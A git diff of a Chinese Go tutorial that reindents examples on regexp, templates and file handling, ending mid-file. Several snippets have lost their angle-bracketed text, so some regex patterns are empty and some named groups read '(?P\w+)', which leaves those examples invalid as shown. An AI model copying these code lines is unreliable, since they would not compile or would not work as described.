`regexp`包中含有三个函数用来判断是否匹配,如果匹配返回true,否则返回false ```Go - func Match(pattern string, b []byte) (matched bool, error error) - func MatchReader(pattern string, r io.RuneReader) (matched bool, error error) - func MatchString(pattern string, s string) (matched bool, error error) +func Match(pattern string, b []byte) (matched bool, error error) +func MatchReader(pattern string, r io.RuneReader) (matched bool, error error) +func MatchString(pattern string, s string) (matched bool, error error) ``` 上面的三个函数实现了同一个功能,就是判断`pattern`是否和输入源匹配,匹配的话就返回true,如果解析正则出错则返回error。三个函数的输入源分别是byte slice、RuneReader和string。 @@ -21,26 +21,25 @@ Go语言通过`regexp`标准包为正则表达式提供了官方支持,如果 如果要验证一个输入是不是IP地址,那么如何来判断呢?请看如下实现 ```Go - func IsIP(ip string) (b bool) { - if m, _ := regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip); !m { - return false - } - return true - } +func IsIP(ip string) (m bool) { + m, _ = regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$", ip) + return +} ``` 可以看到,`regexp`的pattern和我们平常使用的正则一模一样。再来看一个例子:当用户输入一个字符串,我们想知道是不是一次合法的输入: ```Go - func main() { - if len(os.Args) == 1 { - fmt.Println("Usage: regexp [string]") - os.Exit(1) - } else if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m { - fmt.Println("数字") - } else { - fmt.Println("不是数字") - } +func main() { + if len(os.Args) == 1 { + fmt.Println("Usage: regexp [string]") + os.Exit(1) + } + if m, _ := regexp.MatchString("^[0-9]+$", os.Args[1]); m { + fmt.Println("数字") + } else { + fmt.Println("不是数字") } +} ``` 在上面的两个小例子中,我们采用了Match(Reader|String)来判断一些字符串是否符合我们的描述需求,它们使用起来非常方便。 @@ -50,197 +49,203 @@ Match模式只能用来对字符串的判断,而无法截取字符串的一部 我们经常需要一些爬虫程序,下面就以爬虫为例来说明如何使用正则来过滤或截取抓取到的数据: ```Go - package main - - import ( - "fmt" - "io/ioutil" - "net/http" - "regexp" - "strings" - ) - - func main() { - resp, err := http.Get("http://www.baidu.com/") - if err != nil { - fmt.Println("http get error.") - } - defer resp.Body.Close() - body, err := ioutil.ReadAll(resp.Body) - if err != nil { - fmt.Println("http read error") - return - } - - src := string(body) - - //将HTML标签全转换成小写 - re, _ := regexp.Compile("\\<[\\S\\s]+?\\>") - src = re.ReplaceAllStringFunc(src, strings.ToLower) - - //去除STYLE - re, _ = regexp.Compile("\\") - src = re.ReplaceAllString(src, "") - - //去除SCRIPT - re, _ = regexp.Compile("\\") - src = re.ReplaceAllString(src, "") - - //去除所有尖括号内的HTML代码,并换成换行符 - re, _ = regexp.Compile("\\<[\\S\\s]+?\\>") - src = re.ReplaceAllString(src, "\n") - - //去除连续的换行符 - re, _ = regexp.Compile("\\s{2,}") - src = re.ReplaceAllString(src, "\n") - - fmt.Println(strings.TrimSpace(src)) +package main + +import ( + "fmt" + "io/ioutil" + "net/http" + "regexp" + "strings" +) + +func main() { + resp, err := http.Get("http://www.baidu.com/") + if err != nil { + fmt.Println("http get error.") + } + defer resp.Body.Close() + body, err := ioutil.ReadAll(resp.Body) + if err != nil { + fmt.Println("http read error") + return } + src := string(body) + + //将HTML标签全转换成小写 + re, _ := regexp.Compile(`<[\S\s]+?>`) + src = re.ReplaceAllStringFunc(src, strings.ToLower) + + //去除STYLE + re, _ = regexp.Compile(``) + src = re.ReplaceAllString(src, "") + //去除HTMLUnscape的STYLE + re, _ = regexp.Compile(`<style[\S\s]+?</style>`) + src = re.ReplaceAllString(src, "") + + //去除SCRIPT + re, _ = regexp.Compile(``) + src = re.ReplaceAllString(src, "") + //去除HTMLUnsapce的SCRIPT + re, _ = regexp.Compile(`<script[\S\s]+?</script>`) + src = re.ReplaceAllString(src, "") + + //去除所有尖括号内的HTML代码,并换成换行符 + re, _ = regexp.Compile(`<[\S\s]+?>`) + src = re.ReplaceAllString(src, "\n") + + //去除连续的换行符 + re, _ = regexp.Compile(`\s{2,}`) + src = re.ReplaceAllString(src, "\n") + + fmt.Println(strings.TrimSpace(src)) +} + ``` 从这个示例可以看出,使用复杂的正则首先是Compile,它会解析正则表达式是否合法,如果正确,那么就会返回一个Regexp,然后就可以利用返回的Regexp在任意的字符串上面执行需要的操作。 解析正则表达式的有如下几个方法: ```Go - func Compile(expr string) (*Regexp, error) - func CompilePOSIX(expr string) (*Regexp, error) - func MustCompile(str string) *Regexp - func MustCompilePOSIX(str string) *Regexp +func Compile(expr string) (*Regexp, error) +func CompilePOSIX(expr string) (*Regexp, error) +func MustCompile(str string) *Regexp +func MustCompilePOSIX(str string) *Regexp ``` CompilePOSIX和Compile的不同点在于POSIX必须使用POSIX语法,它使用最左最长方式搜索,而Compile是采用的则只采用最左方式搜索(例如[a-z]{2,4}这样一个正则表达式,应用于"aa09aaa88aaaa"这个文本串时,CompilePOSIX返回了aaaa,而Compile的返回的是aa)。前缀有Must的函数表示,在解析正则语法的时候,如果匹配模式串不满足正确的语法则直接panic,而不加Must的则只是返回错误。 在了解了如何新建一个Regexp之后,我们再来看一下这个struct提供了哪些方法来辅助我们操作字符串,首先我们来看下面这些用来搜索的函数: ```Go - func (re *Regexp) Find(b []byte) []byte - func (re *Regexp) FindAll(b []byte, n int) [][]byte - func (re *Regexp) FindAllIndex(b []byte, n int) [][]int - func (re *Regexp) FindAllString(s string, n int) []string - func (re *Regexp) FindAllStringIndex(s string, n int) [][]int - func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string - func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int - func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte - func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int - func (re *Regexp) FindIndex(b []byte) (loc []int) - func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int) - func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int - func (re *Regexp) FindString(s string) string - func (re *Regexp) FindStringIndex(s string) (loc []int) - func (re *Regexp) FindStringSubmatch(s string) []string - func (re *Regexp) FindStringSubmatchIndex(s string) []int - func (re *Regexp) FindSubmatch(b []byte) [][]byte - func (re *Regexp) FindSubmatchIndex(b []byte) []int +func (re *Regexp) Find(b []byte) []byte +func (re *Regexp) FindAll(b []byte, n int) [][]byte +func (re *Regexp) FindAllIndex(b []byte, n int) [][]int +func (re *Regexp) FindAllString(s string, n int) []string +func (re *Regexp) FindAllStringIndex(s string, n int) [][]int +func (re *Regexp) FindAllStringSubmatch(s string, n int) [][]string +func (re *Regexp) FindAllStringSubmatchIndex(s string, n int) [][]int +func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte +func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int +func (re *Regexp) FindIndex(b []byte) (loc []int) +func (re *Regexp) FindReaderIndex(r io.RuneReader) (loc []int) +func (re *Regexp) FindReaderSubmatchIndex(r io.RuneReader) []int +func (re *Regexp) FindString(s string) string +func (re *Regexp) FindStringIndex(s string) (loc []int) +func (re *Regexp) FindStringSubmatch(s string) []string +func (re *Regexp) FindStringSubmatchIndex(s string) []int +func (re *Regexp) FindSubmatch(b []byte) [][]byte +func (re *Regexp) FindSubmatchIndex(b []byte) []int ``` 上面这18个函数我们根据输入源(byte slice、string和io.RuneReader)不同还可以继续简化成如下几个,其他的只是输入源不一样,其他功能基本是一样的: ```Go - func (re *Regexp) Find(b []byte) []byte - func (re *Regexp) FindAll(b []byte, n int) [][]byte - func (re *Regexp) FindAllIndex(b []byte, n int) [][]int - func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte - func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int - func (re *Regexp) FindIndex(b []byte) (loc []int) - func (re *Regexp) FindSubmatch(b []byte) [][]byte - func (re *Regexp) FindSubmatchIndex(b []byte) []int +func (re *Regexp) Find(b []byte) []byte +func (re *Regexp) FindAll(b []byte, n int) [][]byte +func (re *Regexp) FindAllIndex(b []byte, n int) [][]int +func (re *Regexp) FindAllSubmatch(b []byte, n int) [][][]byte +func (re *Regexp) FindAllSubmatchIndex(b []byte, n int) [][]int +func (re *Regexp) FindIndex(b []byte) (loc []int) +func (re *Regexp) FindSubmatch(b []byte) [][]byte +func (re *Regexp) FindSubmatchIndex(b []byte) []int ``` 对于这些函数的使用我们来看下面这个例子 ```Go - package main +package main - import ( - "fmt" - "regexp" - ) +import ( + "fmt" + "regexp" +) - func main() { - a := "I am learning Go language" +func main() { + a := "I am learning Go language" - re, _ := regexp.Compile("[a-z]{2,4}") + re, _ := regexp.Compile("[a-z]{2,4}") - //查找符合正则的第一个 - one := re.Find([]byte(a)) - fmt.Println("Find:", string(one)) + //查找符合正则的第一个 + one := re.Find([]byte(a)) + fmt.Println("Find:", string(one)) - //查找符合正则的所有slice,n小于0表示返回全部符合的字符串,不然就是返回指定的长度 - all := re.FindAll([]byte(a), -1) - fmt.Println("FindAll", all) + //查找符合正则的所有slice,n小于0表示返回全部符合的字符串,不然就是返回指定的长度 + all := re.FindAll([]byte(a), -1) + fmt.Println("FindAll", all) - //查找符合条件的index位置,开始位置和结束位置 - index := re.FindIndex([]byte(a)) - fmt.Println("FindIndex", index) + //查找符合条件的index位置,开始位置和结束位置 + index := re.FindIndex([]byte(a)) + fmt.Println("FindIndex", index) - //查找符合条件的所有的index位置,n同上 - allindex := re.FindAllIndex([]byte(a), -1) - fmt.Println("FindAllIndex", allindex) + //查找符合条件的所有的index位置,n同上 + allindex := re.FindAllIndex([]byte(a), -1) + fmt.Println("FindAllIndex", allindex) - re2, _ := regexp.Compile("am(.*)lang(.*)") + re2, _ := regexp.Compile("am(.*)lang(.*)") - //查找Submatch,返回数组,第一个元素是匹配的全部元素,第二个元素是第一个()里面的,第三个是第二个()里面的 - //下面的输出第一个元素是"am learning Go language" - //第二个元素是" learning Go ",注意包含空格的输出 - //第三个元素是"uage" - submatch := re2.FindSubmatch([]byte(a)) - fmt.Println("FindSubmatch", submatch) - for _, v := range submatch { - fmt.Println(string(v)) - } + //查找Submatch,返回数组,第一个元素是匹配的全部元素,第二个元素是第一个()里面的,第三个是第二个()里面的 + //下面的输出第一个元素是"am learning Go language" + //第二个元素是" learning Go ",注意包含空格的输出 + //第三个元素是"uage" + submatch := re2.FindSubmatch([]byte(a)) + fmt.Println("FindSubmatch", submatch) + for _, v := range submatch { + fmt.Println(string(v)) + } - //定义和上面的FindIndex一样 - submatchindex := re2.FindSubmatchIndex([]byte(a)) - fmt.Println(submatchindex) + //定义和上面的FindIndex一样 + submatchindex := re2.FindSubmatchIndex([]byte(a)) + fmt.Println(submatchindex) - //FindAllSubmatch,查找所有符合条件的子匹配 - submatchall := re2.FindAllSubmatch([]byte(a), -1) - fmt.Println(submatchall) + //FindAllSubmatch,查找所有符合条件的子匹配 + submatchall := re2.FindAllSubmatch([]byte(a), -1) + fmt.Println(submatchall) - //FindAllSubmatchIndex,查找所有字匹配的index - submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1) - fmt.Println(submatchallindex) - } + //FindAllSubmatchIndex,查找所有字匹配的index + submatchallindex := re2.FindAllSubmatchIndex([]byte(a), -1) + fmt.Println(submatchallindex) +} ``` 前面介绍过匹配函数,Regexp也定义了三个函数,它们和同名的外部函数功能一模一样,其实外部函数就是调用了这Regexp的三个函数来实现的: ```Go - func (re *Regexp) Match(b []byte) bool - func (re *Regexp) MatchReader(r io.RuneReader) bool - func (re *Regexp) MatchString(s string) bool +func (re *Regexp) Match(b []byte) bool +func (re *Regexp) MatchReader(r io.RuneReader) bool +func (re *Regexp) MatchString(s string) bool ``` 接下里让我们来了解替换函数是怎么操作的? ```Go - func (re *Regexp) ReplaceAll(src, repl []byte) []byte - func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte - func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte - func (re *Regexp) ReplaceAllLiteralString(src, repl string) string - func (re *Regexp) ReplaceAllString(src, repl string) string - func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string +func (re *Regexp) ReplaceAll(src, repl []byte) []byte +func (re *Regexp) ReplaceAllFunc(src []byte, repl func([]byte) []byte) []byte +func (re *Regexp) ReplaceAllLiteral(src, repl []byte) []byte +func (re *Regexp) ReplaceAllLiteralString(src, repl string) string +func (re *Regexp) ReplaceAllString(src, repl string) string +func (re *Regexp) ReplaceAllStringFunc(src string, repl func(string) string) string ``` 这些替换函数我们在上面的抓网页的例子有详细应用示例, 接下来我们看一下Expand的解释: ```Go - func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte - func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte +func (re *Regexp) Expand(dst []byte, template []byte, src []byte, match []int) []byte +func (re *Regexp) ExpandString(dst []byte, template string, src string, match []int) []byte ``` 那么这个Expand到底用来干嘛的呢?请看下面的例子: ```Go - func main() { - src := []byte(` - call hello alice - hello bob - call hello eve - `) - pat := regexp.MustCompile(`(?m)(call)\s+(?P\w+)\s+(?P.+)\s*$`) - res := []byte{} - for _, s := range pat.FindAllSubmatchIndex(src, -1) { - res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s) - } - fmt.Println(string(res)) +func main() { + src := []byte(` + call hello alice + hello bob + call hello eve + `) + pat := regexp.MustCompile(`(?m)(call)\s+(?P\w+)\s+(?P.+)\s*$`) + res := []byte{} + for _, s := range pat.FindAllSubmatchIndex(src, -1) { + res = pat.Expand(res, []byte("$cmd('$arg')\n"), src, s) } + fmt.Println(string(res)) +} ``` 至此我们已经全部介绍完Go语言的`regexp`包,通过对它的主要函数介绍及演示,相信大家应该能够通过Go语言的正则包进行一些基本的正则的操作了。 diff --git a/zh/07.4.md b/zh/07.4.md index 48db045ab..c7d046ae5 100644 --- a/zh/07.4.md +++ b/zh/07.4.md @@ -14,12 +14,12 @@ Web应用反馈给客户端的信息中的大部分内容是静态的,不变 在Go语言中,我们使用`template`包来进行模板处理,使用类似`Parse`、`ParseFile`、`Execute`等方法从文件或者字符串加载模板,然后执行类似上面图片展示的模板的merge操作。请看下面的例子: ```Go - func handler(w http.ResponseWriter, r *http.Request) { - t := template.New("some template") //创建一个模板 - t, _ = t.ParseFiles("tmpl/welcome.html", nil) //解析模板文件 - user := GetUser() //获取当前用户信息 - t.Execute(w, user) //执行模板的merger操作 - } +func handler(w http.ResponseWriter, r *http.Request) { + t := template.New("some template") //创建一个模板 + t, _ = t.ParseFiles("tmpl/welcome.html") //解析模板文件 + user := GetUser() //获取当前用户信息 + t.Execute(w, user) //执行模板的merger操作 +} ``` 通过上面的例子我们可以看到Go语言的模板操作非常的简单方便,和其他语言的模板处理类似,都是先获取数据,然后渲染数据。 @@ -33,36 +33,36 @@ Web应用反馈给客户端的信息中的大部分内容是静态的,不变 上面我们演示了如何解析并渲染模板,接下来让我们来更加详细的了解如何把数据渲染出来。一个模板都是应用在一个Go的对象之上,Go对象的字段如何插入到模板中呢? ### 字段操作 -Go语言的模板通过`{{}}`来包含需要在渲染时被替换的字段,`{{.}}`表示当前的对象,这和Java或者C++中的this类似,如果要访问当前对象的字段通过`{{.FieldName}}`,但是需要注意一点:这个字段必须是导出的(字段首字母必须是大写的),否则在渲染的时候就会报错,请看下面的这个例子: +Go语言的模板通过`{{}}`来包含需要在渲染时被替换的字段,`{{.}}`表示当前的对象,这和Java或者C++中的this类似,如果要访问当前对象的字段通过`{{.FieldName}}`,但是需要注意一点:这个字段必须是导出的(字段首字母必须是大写的),否则在渲染的时候就会报错,请看下面的这个例子: ```Go - package main +package main - import ( - "html/template" - "os" - ) +import ( + "html/template" + "os" +) - type Person struct { - UserName string - } +type Person struct { + UserName string +} - func main() { - t := template.New("fieldname example") - t, _ = t.Parse("hello {{.UserName}}!") - p := Person{UserName: "Astaxie"} - t.Execute(os.Stdout, p) - } +func main() { + t := template.New("fieldname example") + t, _ = t.Parse("hello {{.UserName}}!") + p := Person{UserName: "Astaxie"} + t.Execute(os.Stdout, p) +} ``` 上面的代码我们可以正确的输出`hello Astaxie`,但是如果我们稍微修改一下代码,在模板中含有了未导出的字段,那么就会报错 ```Go - type Person struct { - UserName string - email string //未导出的字段,首字母是小写的 - } +type Person struct { + UserName string + email string //未导出的字段,首字母是小写的 +} - t, _ = t.Parse("hello {{.UserName}}! {{.email}}") +t, _ = t.Parse("hello {{.UserName}}! {{.email}}") ``` 上面的代码就会报错,因为我们调用了一个未导出的字段,但是如果我们调用了一个不存在的字段是不会报错的,而是输出为空。 @@ -77,67 +77,67 @@ Go语言的模板通过`{{}}`来包含需要在渲染时被替换的字段,`{{ 详细的使用请看下面的例子: ```Go - package main - - import ( - "html/template" - "os" - ) - - type Friend struct { - Fname string - } - - type Person struct { - UserName string - Emails []string - Friends []*Friend - } - - func main() { - f1 := Friend{Fname: "minux.ma"} - f2 := Friend{Fname: "xushiwei"} - t := template.New("fieldname example") - t, _ = t.Parse(`hello {{.UserName}}! - {{range .Emails}} - an email {{.}} - {{end}} - {{with .Friends}} - {{range .}} - my friend name is {{.Fname}} - {{end}} - {{end}} - `) - p := Person{UserName: "Astaxie", - Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, - Friends: []*Friend{&f1, &f2}} - t.Execute(os.Stdout, p) - } +package main + +import ( + "html/template" + "os" +) + +type Friend struct { + Fname string +} + +type Person struct { + UserName string + Emails []string + Friends []*Friend +} + +func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an email {{.}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) +} ``` ### 条件处理 在Go模板里面如果需要进行条件判断,那么我们可以使用和Go语言的`if-else`语法类似的方式来处理,如果pipeline为空,那么if就认为是false,下面的例子展示了如何使用`if-else`语法: ```Go - package main +package main - import ( - "os" - "text/template" - ) +import ( + "os" + "text/template" +) - func main() { - tEmpty := template.New("template test") - tEmpty = template.Must(tEmpty.Parse("空 pipeline if demo: {{if ``}} 不会输出. {{end}}\n")) - tEmpty.Execute(os.Stdout, nil) +func main() { + tEmpty := template.New("template test") + tEmpty = template.Must(tEmpty.Parse("空 pipeline if demo: {{if ``}} 不会输出. {{end}}\n")) + tEmpty.Execute(os.Stdout, nil) - tWithValue := template.New("template test") - tWithValue = template.Must(tWithValue.Parse("不为空的 pipeline if demo: {{if `anything`}} 我有内容,我会输出. {{end}}\n")) - tWithValue.Execute(os.Stdout, nil) + tWithValue := template.New("template test") + tWithValue = template.Must(tWithValue.Parse("不为空的 pipeline if demo: {{if `anything`}} 我有内容,我会输出. {{end}}\n")) + tWithValue.Execute(os.Stdout, nil) - tIfElse := template.New("template test") - tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if部分 {{else}} else部分.{{end}}\n")) - tIfElse.Execute(os.Stdout, nil) - } + tIfElse := template.New("template test") + tIfElse = template.Must(tIfElse.Parse("if-else demo: {{if `anything`}} if部分 {{else}} else部分.{{end}}\n")) + tIfElse.Execute(os.Stdout, nil) +} ``` 通过上面的演示代码我们知道`if-else`语法相当的简单,在使用过程中很容易集成到我们的模板代码中。 @@ -147,8 +147,8 @@ Go语言的模板通过`{{}}`来包含需要在渲染时被替换的字段,`{{ Unix用户已经很熟悉什么是`pipe`了,`ls | grep "beego"`类似这样的语法你是不是经常使用,过滤当前目录下面的文件,显示含有"beego"的数据,表达的意思就是前面的输出可以当做后面的输入,最后显示我们想要的数据,而Go语言模板最强大的一点就是支持pipe数据,在Go语言里面任何`{{}}`里面的都是pipelines数据,例如我们上面输出的email里面如果还有一些可能引起XSS注入的,那么我们如何来进行转化呢? ```Go - {{. | html}} - +{{. | html}} + ``` 在email输出的地方我们可以采用如上方式可以把输出全部转化html的实体,上面的这种方式和我们平常写Unix的方式是不是一模一样,操作起来相当的简便,调用其他的函数也是类似的方式。 @@ -156,14 +156,14 @@ Unix用户已经很熟悉什么是`pipe`了,`ls | grep "beego"`类似这样的 有时候,我们在模板使用过程中需要定义一些局部变量,我们可以在一些操作中申明局部变量,例如`with``range``if`过程中申明局部变量,这个变量的作用域是`{{end}}`之前,Go语言通过申明的局部变量格式如下所示: ```Go - $variable := pipeline +$variable := pipeline ``` 详细的例子看下面的: ```Go - {{with $x := "output" | printf "%q"}}{{$x}}{{end}} - {{with $x := "output"}}{{printf "%q" $x}}{{end}} - {{with $x := "output"}}{{$x | printf "%q"}}{{end}} +{{with $x := "output" | printf "%q"}}{{$x}}{{end}} +{{with $x := "output"}}{{printf "%q" $x}}{{end}} +{{with $x := "output"}}{{$x | printf "%q"}}{{end}} ``` ### 模板函数 @@ -172,194 +172,194 @@ Unix用户已经很熟悉什么是`pipe`了,`ls | grep "beego"`类似这样的 每一个模板函数都有一个唯一值的名字,然后与一个Go函数关联,通过如下的方式来关联 ```Go - type FuncMap map[string]interface{} +type FuncMap map[string]interface{} ``` 例如,如果我们想要的email函数的模板函数名是`emailDeal`,它关联的Go函数名称是`EmailDealWith`,那么我们可以通过下面的方式来注册这个函数 ```Go - t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) +t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) ``` `EmailDealWith`这个函数的参数和返回值定义如下: ```Go - func EmailDealWith(args …interface{}) string +func EmailDealWith(args …interface{}) string ``` 我们来看下面的实现例子: ```Go - package main - - import ( - "fmt" - "html/template" - "os" - "strings" - ) - - type Friend struct { - Fname string - } - - type Person struct { - UserName string - Emails []string - Friends []*Friend +package main + +import ( + "fmt" + "html/template" + "os" + "strings" +) + +type Friend struct { + Fname string +} + +type Person struct { + UserName string + Emails []string + Friends []*Friend +} + +func EmailDealWith(args ...interface{}) string { + ok := false + var s string + if len(args) == 1 { + s, ok = args[0].(string) } - - func EmailDealWith(args ...interface{}) string { - ok := false - var s string - if len(args) == 1 { - s, ok = args[0].(string) - } - if !ok { - s = fmt.Sprint(args...) - } - // find the @ symbol - substrs := strings.Split(s, "@") - if len(substrs) != 2 { - return s - } - // replace the @ by " at " - return (substrs[0] + " at " + substrs[1]) + if !ok { + s = fmt.Sprint(args...) } - - func main() { - f1 := Friend{Fname: "minux.ma"} - f2 := Friend{Fname: "xushiwei"} - t := template.New("fieldname example") - t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) - t, _ = t.Parse(`hello {{.UserName}}! - {{range .Emails}} - an emails {{.|emailDeal}} - {{end}} - {{with .Friends}} - {{range .}} - my friend name is {{.Fname}} - {{end}} - {{end}} - `) - p := Person{UserName: "Astaxie", - Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, - Friends: []*Friend{&f1, &f2}} - t.Execute(os.Stdout, p) + // find the @ symbol + substrs := strings.Split(s, "@") + if len(substrs) != 2 { + return s } + // replace the @ by " at " + return (substrs[0] + " at " + substrs[1]) +} + +func main() { + f1 := Friend{Fname: "minux.ma"} + f2 := Friend{Fname: "xushiwei"} + t := template.New("fieldname example") + t = t.Funcs(template.FuncMap{"emailDeal": EmailDealWith}) + t, _ = t.Parse(`hello {{.UserName}}! + {{range .Emails}} + an emails {{.|emailDeal}} + {{end}} + {{with .Friends}} + {{range .}} + my friend name is {{.Fname}} + {{end}} + {{end}} + `) + p := Person{UserName: "Astaxie", + Emails: []string{"astaxie@beego.me", "astaxie@gmail.com"}, + Friends: []*Friend{&f1, &f2}} + t.Execute(os.Stdout, p) +} ``` 上面演示了如何自定义函数,其实,在模板包内部已经有内置的实现函数,下面代码截取自模板包里面 ```Go - var builtins = FuncMap{ - "and": and, - "call": call, - "html": HTMLEscaper, - "index": index, - "js": JSEscaper, - "len": length, - "not": not, - "or": or, - "print": fmt.Sprint, - "printf": fmt.Sprintf, - "println": fmt.Sprintln, - "urlquery": URLQueryEscaper, - } +var builtins = FuncMap{ + "and": and, + "call": call, + "html": HTMLEscaper, + "index": index, + "js": JSEscaper, + "len": length, + "not": not, + "or": or, + "print": fmt.Sprint, + "printf": fmt.Sprintf, + "println": fmt.Sprintln, + "urlquery": URLQueryEscaper, +} ``` ## Must操作 模板包里面有一个函数`Must`,它的作用是检测模板是否正确,例如大括号是否匹配,注释是否正确的关闭,变量是否正确的书写。接下来我们演示一个例子,用Must来判断模板是否正确: ```Go - package main +package main - import ( - "fmt" - "text/template" - ) +import ( + "fmt" + "text/template" +) - func main() { - tOk := template.New("first") - template.Must(tOk.Parse(" some static text /* and a comment */")) - fmt.Println("The first one parsed OK.") +func main() { + tOk := template.New("first") + template.Must(tOk.Parse(" some static text /* and a comment */")) + fmt.Println("The first one parsed OK.") - template.Must(template.New("second").Parse("some static text {{ .Name }}")) - fmt.Println("The second one parsed OK.") + template.Must(template.New("second").Parse("some static text {{ .Name }}")) + fmt.Println("The second one parsed OK.") - fmt.Println("The next one ought to fail.") - tErr := template.New("check parse error with Must") - template.Must(tErr.Parse(" some static text {{ .Name }")) - } + fmt.Println("The next one ought to fail.") + tErr := template.New("check parse error with Must") + template.Must(tErr.Parse(" some static text {{ .Name }")) +} ``` 将输出如下内容 ``` - The first one parsed OK. - The second one parsed OK. - The next one ought to fail. - panic: template: check parse error with Must:1: unexpected "}" in command +The first one parsed OK. +The second one parsed OK. +The next one ought to fail. +panic: template: check parse error with Must:1: unexpected "}" in command ``` ## 嵌套模板 我们平常开发Web应用的时候,经常会遇到一些模板有些部分是固定不变的,然后可以抽取出来作为一个独立的部分,例如一个博客的头部和尾部是不变的,而唯一改变的是中间的内容部分。所以我们可以定义成`header`、`content`、`footer`三个部分。Go语言中通过如下的语法来申明 ```Go - {{define "子模板名称"}}内容{{end}} +{{define "子模板名称"}}内容{{end}} ``` 通过如下方式来调用: ```Go - {{template "子模板名称"}} +{{template "子模板名称"}} ``` 接下来我们演示如何使用嵌套模板,我们定义三个文件,`header.tmpl`、`content.tmpl`、`footer.tmpl`文件,里面的内容如下 ```html - //header.tmpl - {{define "header"}} - - - 演示信息 - - - {{end}} - - //content.tmpl - {{define "content"}} - {{template "header"}} -

演示嵌套

-
    -
  • 嵌套使用define定义子模板
  • -
  • 调用使用template
  • -
- {{template "footer"}} - {{end}} - - //footer.tmpl - {{define "footer"}} - - - {{end}} +//header.tmpl +{{define "header"}} + + + 演示信息 + + +{{end}} + +//content.tmpl +{{define "content"}} +{{template "header"}} +

演示嵌套

+
    +
  • 嵌套使用define定义子模板
  • +
  • 调用使用template
  • +
+{{template "footer"}} +{{end}} + +//footer.tmpl +{{define "footer"}} + + +{{end}} ``` 演示代码如下: ```Go - package main - - import ( - "fmt" - "os" - "text/template" - ) - - func main() { - s1, _ := template.ParseFiles("header.tmpl", "content.tmpl", "footer.tmpl") - s1.ExecuteTemplate(os.Stdout, "header", nil) - fmt.Println() - s1.ExecuteTemplate(os.Stdout, "content", nil) - fmt.Println() - s1.ExecuteTemplate(os.Stdout, "footer", nil) - fmt.Println() - s1.Execute(os.Stdout, nil) - } +package main + +import ( + "fmt" + "os" + "text/template" +) + +func main() { + s1, _ := template.ParseFiles("header.tmpl", "content.tmpl", "footer.tmpl") + s1.ExecuteTemplate(os.Stdout, "header", nil) + fmt.Println() + s1.ExecuteTemplate(os.Stdout, "content", nil) + fmt.Println() + s1.ExecuteTemplate(os.Stdout, "footer", nil) + fmt.Println() + s1.Execute(os.Stdout, nil) +} ``` 通过上面的例子我们可以看到通过`template.ParseFiles`把所有的嵌套模板全部解析到模板里面,其实每一个定义的{{define}}都是一个独立的模板,他们相互独立,是并行存在的关系,内部其实存储的是类似map的一种关系(key是模板的名称,value是模板的内容),然后我们通过`ExecuteTemplate`来执行相应的子模板内容,我们可以看到header、footer都是相对独立的,都能输出内容,content 中因为嵌套了header和footer的内容,就会同时输出三个的内容。但是当我们执行`s1.Execute`,没有任何的输出,因为在默认的情况下没有默认的子模板,所以不会输出任何的东西。 diff --git a/zh/07.5.md b/zh/07.5.md index 75bb7184a..97cdd053d 100644 --- a/zh/07.5.md +++ b/zh/07.5.md @@ -13,7 +13,7 @@ - func Remove(name string) error - 删除名称为name的目录,当目录下有文件或者其他目录是会出错 + 删除名称为name的目录,当目录下有文件或者其他目录时会出错 - func RemoveAll(path string) error @@ -23,22 +23,22 @@ 下面是演示代码: ```Go - package main +package main - import ( - "fmt" - "os" - ) - - func main() { - os.Mkdir("astaxie", 0777) - os.MkdirAll("astaxie/test1/test2", 0777) - err := os.Remove("astaxie") - if err != nil { - fmt.Println(err) - } - os.RemoveAll("astaxie") +import ( + "fmt" + "os" +) + +func main() { + os.Mkdir("astaxie", 0777) + os.MkdirAll("astaxie/test1/test2", 0777) + err := os.Remove("astaxie") + if err != nil { + fmt.Println(err) } + os.RemoveAll("astaxie") +} ``` @@ -84,26 +84,26 @@ 写文件的示例代码 ```Go - package main +package main - import ( - "fmt" - "os" - ) - - func main() { - userFile := "astaxie.txt" - fout, err := os.Create(userFile) - if err != nil { - fmt.Println(userFile, err) - return - } - defer fout.Close() - for i := 0; i < 10; i++ { - fout.WriteString("Just a test!\r\n") - fout.Write([]byte("Just a test!\r\n")) - } +import ( + "fmt" + "os" +) + +func main() { + userFile := "astaxie.txt" + fout, err := os.Create(userFile) + if err != nil { + fmt.Println(userFile, err) + return } + defer fout.Close() + for i := 0; i < 10; i++ { + fout.WriteString("Just a test!\r\n") + fout.Write([]byte("Just a test!\r\n")) + } +} ``` ### 读文件 @@ -120,31 +120,31 @@ 读文件的示例代码: ```Go - package main +package main - import ( - "fmt" - "os" - ) 